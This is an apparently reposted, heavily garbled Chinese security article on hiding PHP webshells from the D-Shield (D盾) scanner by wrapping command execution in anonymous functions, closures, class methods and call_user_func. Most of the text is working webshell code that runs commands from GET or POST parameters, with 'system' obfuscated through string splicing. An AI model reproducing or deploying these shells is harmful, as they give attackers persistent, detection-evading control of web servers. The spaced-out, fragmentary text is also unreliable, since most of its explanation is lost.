[15148] 2020-03-19_巧用匿名函数绕过D盾

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-03-19_巧用匿名函数绕过D盾 D p 1 k 3 m 4 n   F r e e B u f   2 0 2 0 - 0 3 - 1 9 s m i l e w e b s h e l l s m i l e D   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 9 7 6 3 1 s m i l e D D p h t t p s : / / w w w . l e a v e s o n g s . c o m / P E N E T R A T I O N / d y n a m i c - f e a t u r e s - a n d - w e b s h e l l - t r i c k s - i n - p h p . h t m l w e b s h e l l s y s t e m   w e b s h e l l D $ n a m e e v a l e v a l e v a l s y s t e m 1 G E T s u b s t r < ? p h p $ g r e e t   =   f u n c t i o n ( $ n a m e ) {         e v a l ( $ n a m e ) ; } ; $ g r e e t ( $ _ G E T [ ' n a m e ' ] ) ; < ? p h p $ g r e e t   =   f u n c t i o n ( $ m e t h o d , $ a r g ) {         $ m e t h o d ( $ a r g ) ; } ; $ g r e e t ( $ _ G E T [ ' m e t h o d ' ] , $ _ G E T [ ' a r g ' ] ) ; < ? p h p $ g r e e t   =   f u n c t i o n ( $ a r g ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;
  $ g r e e t D $ g r e e t ( )   D e c h o e c h o w e b s h e l l 使         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ g r e e t ( ) ; ? > < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; e c h o   ( $ g r e e t ) ( ) ; ? > < ? p h p f u n c t i o n   g r e e t ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; g r e e t ( ) ; ? >
$ a D $ g r e e t $ a r r a y f u n c < ? p h p f u n c t i o n   g r e e t ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a = ' g r e e t ' ; e c h o   ( $ a ) ( ) ; ? > < ? p h p $ a r r a y [ ' f u n c ' ]   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] ( ) ;
1 D e c h o   D 使 w e b s h e l l $ a a D 1 < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] = $ g r e e t ; $ a r r a y [ ' f u n c ' ] / * 5 5 5 5 * / ( ) ; < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] = $ g r e e t ; e c h o   ( $ a r r a y [ ' f u n c ' ] ) ( ) ; $ a a ( ) ;
$ a a ( ) D $ a r r a y [ ' f u n c ' ] D $ a a ( ) $ a a ( ) e c h o p r i n t e c h o   ( ) ( )   D D e c h o   e v a l ( $ _ P O S T [ a ] ) ;   5 e c h o   4 e c h o D 使 p h p h t t p s : / / w w w . p h p . n e t / m a n u a l / z h / f u n c t i o n s . a n o n y m o u s . p h p p h p 7 D p r i n t   ( $ a a ) ( ) ; < ? p h p ( f u n c t i o n ( $ a r g ) {                 $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;         } ) ( $ _ G E T [ ' a r g ' ] ) ; ? >
D $ b ( ) 便 < ? p h p c l a s s   T e s t {         p u b l i c   f u n c t i o n   t e s t i n g ( ) {                 r e t u r n   f u n c t i o n ( )   {                         $ m e t h o d = ' s y s a t e m ' ;                         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;                 } ;         } } $ a = n e w   T e s t ( ) ; $ b = $ a - > t e s t i n g ( ) ; $ b ( ) ; ? > < ? p h p c l a s s   T e s t { p u b l i c   $ g r e e t ; p u b l i c   f u n c t i o n   _ _ c o n s t r u c t   ( )   {                         $ t h i s - > g r e e t   =   f u n c t i o n   ( )   {                         $ m e t h o d = ' s y s a t e m ' ;                     ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;                         } ;                 } } $ a = n e w   T e s t ( ) ; / / v a r _ d u m p ( $ a - > g r e e t ) ; $ b = $ a - > g r e e t ; $ b ( ) ; ? >
e c h o t o S t r i n g , c a l l   s e t   g e t 使 c a l l _ u s e r _ f u n c < ? p h p c l a s s   T e s t {         p u b l i c   f u n c t i o n   _ _ t o S t r i n g ( ) {                 $ m e t h o d = ' s y s a t e m ' ;                 ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;                 r e t u r n   ' 1 ' ;         } } $ a = n e w   T e s t ( ) ; e c h o   $ a ; ? > < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; c a l l _ u s e r _ f u n c ( $ g r e e t )
$ g r e e t   ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ;   D * p 1 k 3 m 4 n F r e e B u f < ? p h p $ g r e e t   =   f u n c t i o n ( ) { $ m e t h o d = ' s y s a t e m ' ;         ( s u b s t r ( $ m e t h o d , 0 , 3 ) . s u b s t r ( $ m e t h o d ,   4 ) ) ( $ _ G E T [ ' a r g ' ] ) ; } ; $ a r r a y [ ' f u n c ' ] = $ g r e e t ; c a l l _ u s e r _ f u n c ( $ a r r a y [ ' f u n c ' ] ) ;

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则